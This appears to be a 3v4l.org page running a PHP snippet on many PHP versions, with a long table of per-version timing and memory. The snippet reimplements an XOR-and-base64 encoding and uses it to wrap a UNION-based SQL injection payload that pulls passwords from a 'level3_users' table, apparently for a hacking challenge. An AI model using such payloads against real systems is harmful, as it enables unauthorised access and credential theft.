3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } echo decrypt("MTI5MTY0MTczMTY5MTc0"); print "\n"; function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo encrypt("Admin' UNION SELECT 1,password,3,4,5,6,7 FROM level3_users WHERE username=0x41646d696e--"); print "\n"; ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0130.00318.42
8.3.50.0210.00616.59
8.3.40.0080.00818.95
8.3.30.0070.00719.14
8.3.20.0040.00418.69
8.3.10.0080.00018.88
8.3.00.0060.00319.63
8.2.180.0100.01016.75
8.2.170.0090.00622.96
8.2.160.0090.00619.12
8.2.150.0060.00324.18
8.2.140.0080.00024.66
8.2.130.0040.00426.16
8.2.120.0070.00319.16
8.2.110.0070.00321.10
8.2.100.0080.00417.84
8.2.90.0040.00419.82
8.2.80.0060.00318.16
8.2.70.0050.00317.93
8.2.60.0000.00918.22
8.2.50.0050.00318.10
8.2.40.0080.00019.27
8.2.30.0040.00419.47
8.2.20.0030.00617.86
8.2.10.0040.00417.92
8.2.00.0060.00317.93
8.1.280.0100.00725.92
8.1.270.0060.00323.99
8.1.260.0040.00426.35
8.1.250.0000.00828.09
8.1.240.0060.00323.89
8.1.230.0060.00921.08
8.1.220.0060.00317.74
8.1.210.0000.00918.77
8.1.200.0090.00317.73
8.1.190.0060.00317.50
8.1.180.0000.00818.10
8.1.170.0030.00618.99
8.1.160.0020.00518.83
8.1.150.0000.00818.95
8.1.140.0000.00717.63
8.1.130.0020.00517.56
8.1.120.0050.00217.65
8.1.110.0040.00417.52
8.1.100.0040.00417.61
8.1.90.0040.00417.66
8.1.80.0000.00817.69
8.1.70.0000.00717.54
8.1.60.0040.00817.77
8.1.50.0000.00717.63
8.1.40.0100.00017.61
8.1.30.0040.00417.79
8.1.20.0040.00417.84
8.1.10.0000.00817.83
8.1.00.0040.00817.55
8.0.300.0050.00219.98
8.0.290.0030.00517.00
8.0.280.0030.00518.43
8.0.270.0000.00717.32
8.0.260.0000.00716.95
8.0.250.0000.00717.11
8.0.240.0000.00717.22
8.0.230.0030.00317.18
8.0.220.0000.00817.15
8.0.210.0000.00717.10
8.0.200.0030.00317.10
8.0.190.0080.00017.15
8.0.180.0060.00317.03
8.0.170.0060.00316.92
8.0.160.0000.00717.19
8.0.150.0000.00917.01
8.0.140.0030.00716.98
8.0.130.0070.00013.44
8.0.120.0030.00717.05
8.0.110.0070.00017.02
8.0.100.0000.00817.09
8.0.90.0040.00417.07
8.0.80.0080.00717.14
8.0.70.0000.00817.03
8.0.60.0030.00616.99
8.0.50.0090.00016.96
8.0.30.0150.00617.08
8.0.20.0100.01017.30
8.0.10.0030.00517.06
8.0.00.0070.01117.14
7.4.330.0030.00313.23
7.4.320.0000.00616.77
7.4.300.0070.00016.74
7.4.290.0030.00316.75
7.4.280.0000.00816.84
7.4.270.0000.00716.74
7.4.260.0030.00313.40
7.4.250.0050.00316.83
7.4.240.0030.00316.84
7.4.230.0060.00316.76
7.4.220.0190.00316.90
7.4.210.0060.00916.89
7.4.200.0090.00016.77
7.4.190.0040.00416.91
7.4.160.0040.01116.86
7.4.150.0170.01316.57
7.4.140.0160.00616.49
7.4.130.0090.00616.77
7.4.120.0050.01216.78
7.4.110.0070.01716.79
7.4.100.0070.01116.66
7.4.90.0090.00916.87
7.4.80.0080.01219.39
7.4.70.0120.00816.65
7.4.60.0130.01116.72
7.4.50.0000.00516.64
7.4.40.0060.01016.79
7.4.30.0030.01316.78
7.4.00.0030.01415.40
7.3.330.0070.00013.55
7.3.320.0030.00313.52
7.3.310.0030.00516.45
7.3.300.0030.00316.57
7.3.290.0100.00416.57
7.3.280.0080.00916.54
7.3.270.0150.00316.83
7.3.260.0130.00416.83
7.3.250.0080.01016.65
7.3.240.0060.01016.48
7.3.230.0120.00616.88
7.3.210.0120.01216.58
7.3.200.0080.00816.48
7.3.190.0120.00416.57
7.3.180.0040.01216.82
7.3.170.0090.00616.89
7.3.160.0070.01016.77
7.3.120.0000.01515.37
7.2.330.0090.01316.95
7.2.320.0100.00716.84
7.2.310.0110.00716.85
7.2.300.0090.00916.88
7.2.290.0120.00916.65
7.1.100.0050.00318.48
7.1.70.0050.00217.50
7.1.60.0120.00619.30
7.1.50.0070.01116.89
7.1.00.0070.06722.31
7.0.200.0030.00516.95
7.0.140.0070.06722.13
7.0.120.0070.07322.16
7.0.60.0070.05319.81
7.0.50.0130.03017.96
7.0.40.0100.08320.26
7.0.30.0330.07020.13
7.0.20.0330.07720.32
7.0.10.0130.05020.16
7.0.00.0130.07720.43
5.6.210.0100.08020.76
5.6.200.0070.06718.21
5.6.190.0000.07720.61
5.6.180.0430.03720.46
5.6.170.0270.05320.57
5.6.160.0100.03720.54
5.6.150.0100.07018.17
5.6.140.0070.06718.15
5.6.130.0130.07318.18
5.6.120.0030.04320.93
5.6.110.0030.09021.12
5.6.100.0070.04021.00
5.6.90.0030.08321.13
5.6.80.0070.08020.52
5.5.350.0070.08320.34
5.5.340.0130.07318.01
5.5.330.0070.06720.29
5.5.320.2530.05720.28
5.5.310.0200.08720.31
5.5.300.0170.07017.98
5.5.290.0100.06317.94
5.5.280.0030.08720.78
5.5.270.0070.04320.88
5.5.260.0100.08320.97
5.5.250.0100.08020.70
5.5.240.0070.07720.21
5.4.450.0300.06719.64
5.4.440.0270.08019.41
5.4.430.0200.08019.50
5.4.420.0230.07319.58
5.4.410.0330.06319.28
5.4.400.0270.07019.32
5.4.390.0230.07719.22
5.4.380.0230.07718.88
5.4.370.0330.05019.11
5.4.360.0230.05319.31
5.4.350.0300.06718.87
5.4.340.0130.04718.87
5.4.320.0330.05319.22
5.4.310.0270.07319.09
5.4.300.0130.07319.19
5.4.290.0200.06318.87
5.4.280.0300.07019.16
5.4.270.0200.06719.24
5.4.260.0230.06719.13
5.4.250.0200.06018.85
5.4.240.0230.06018.97
5.4.230.0270.05719.14
5.4.220.0300.06719.08
5.4.210.0170.07718.98
5.4.200.0270.06019.13
5.4.190.0200.07319.05
5.4.180.0200.05319.21
5.4.170.0370.06019.13
5.4.160.0270.04719.11
5.4.150.0230.07019.11
5.4.140.0200.04016.40
5.4.130.0200.05016.38
5.4.120.0230.05716.71
5.4.110.0230.07016.61
5.4.100.0230.07016.56
5.4.90.0270.06316.50
5.4.80.0170.05316.31
5.4.70.0270.06016.59
5.4.60.0230.03316.16
5.4.50.0270.02716.34
5.4.40.0230.03716.51
5.4.30.0270.07016.53
5.4.20.0330.05716.52
5.4.10.0200.06716.50
5.4.00.0270.04015.86
5.3.290.0270.07014.89
5.3.280.0200.05714.51
5.3.270.0170.06314.62
5.3.260.0270.04314.66
5.3.250.0070.05014.65
5.3.240.0300.07014.54
5.3.230.0330.06314.63
5.3.220.0200.06014.55
5.3.210.0300.07014.80
5.3.200.0200.07714.59
5.3.190.0270.05714.50
5.3.180.0270.06314.69
5.3.170.0270.06714.57
5.3.160.0200.04714.48
5.3.150.0030.05314.50
5.3.140.0170.04314.54
5.3.130.0170.06714.71
5.3.120.0200.04014.46
5.3.110.0230.05714.69
5.3.100.0200.05714.14
5.3.90.0200.06014.02
5.3.80.0200.08013.93
5.3.70.0200.07014.06
5.3.60.0270.06314.23
5.3.50.0230.06713.88
5.3.40.0200.05713.86
5.3.30.0200.04013.98
5.3.20.0170.07313.68
5.3.10.0300.05313.59
5.3.00.0230.07013.56
5.2.170.0170.05711.98
5.2.160.0200.05311.98
5.2.150.0200.03711.98
5.2.140.0330.04011.98
5.2.130.0200.06011.98
5.2.120.0170.06311.98
5.2.110.0200.04311.98
5.2.100.0170.04011.98
5.2.90.0270.05311.98
5.2.80.0270.05711.98
5.2.70.0130.05311.98
5.2.60.0270.04011.98
5.2.50.0170.03711.98
5.2.40.0230.03011.98
5.2.30.0130.04711.98
5.2.20.0200.04011.98
5.2.10.0230.04011.98
5.2.00.0170.05711.98
5.1.60.0170.04011.98
5.1.50.0130.04311.98
5.1.40.0170.04011.98
5.1.30.0170.05311.98
5.1.20.0170.04311.98
5.1.10.0100.05711.98
5.1.00.0170.04711.98
5.0.50.0130.02711.98
5.0.40.0100.03711.98
5.0.30.0070.05011.98
5.0.20.0030.04011.99
5.0.10.0170.02311.99
5.0.00.0130.04011.99
4.4.90.0100.03311.98
4.4.80.0070.03711.98
4.4.70.0070.03011.98
4.4.60.0070.03711.98
4.4.50.0070.03711.98
4.4.40.0070.06011.98
4.4.30.0070.03311.98
4.4.20.0070.02711.98
4.4.10.0130.02711.98
4.4.00.0100.05011.98
4.3.110.0030.02711.98
4.3.100.0130.03011.98
4.3.90.0030.03011.99
4.3.80.0100.05011.99
4.3.70.0070.02711.99
4.3.60.0070.02711.99
4.3.50.0130.03011.99
4.3.40.0130.05011.99
4.3.30.0030.03311.99
4.3.20.0030.03311.99
4.3.10.0000.02711.99
4.3.00.0070.03311.99

preferences:
41.76 ms | 401 KiB | 5 Q